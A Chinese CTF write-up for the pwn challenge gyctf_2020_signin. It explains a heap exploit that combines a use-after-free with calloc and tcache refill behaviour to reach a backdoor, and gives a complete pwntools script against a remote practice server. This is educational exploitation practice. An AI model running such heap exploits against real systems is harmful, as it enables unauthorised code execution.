gyctf_2020_signin(calloc特性，uaf，tcache特性)

gyctf_2020_signin:

参考师傅：yongbaoii

逆向分析：

主界面：
三个功能，add，edit，free，还有个backdoor

add函数：

edit函数：

free函数：
有个标记检查，doublefree不能用了

backdoor：
还有个calloc函数
这里分配一个0x70大小的chunk

calloc 有以下特性

不会分配 tcache chunk 中的 chunk 。

tcache 有以下特性

在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。

大致思路：
最终目的就是把bin链写到ptr里
就是利用上面的特性，我们要创造个fastbinchunk给他分配，利用uaf改写fd，使fastbin链指向ptr
我们add一个，在tcache留个空位，calloc分配一个fastbin，第二个特性把ptr挂入tcachebin，也就是写了点数据
（-0x10，估计也是特性，具体位置的话可以调试看看）

exp：

from pwn import *
from LibcSearcher import *
local_file  = './gyctf_2020_signin'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',26068 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#--------------------------------------------------
def add(idx):
    sla('your choice?','1')
    sla('idx?\n',str(idx))
def edit(idx,content):
    sla('your choice?','2')
    sla('idx?\n',str(idx))
    sl(content)
def free(idx):
    sla('your choice?','3')
    sla('idx?\n',str(idx))
#-------------------------------------------------
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
edit(7,p64(0x4040C0-0x10))
add(1)
sla('your choice?', '6')
#debug()
r.interactive()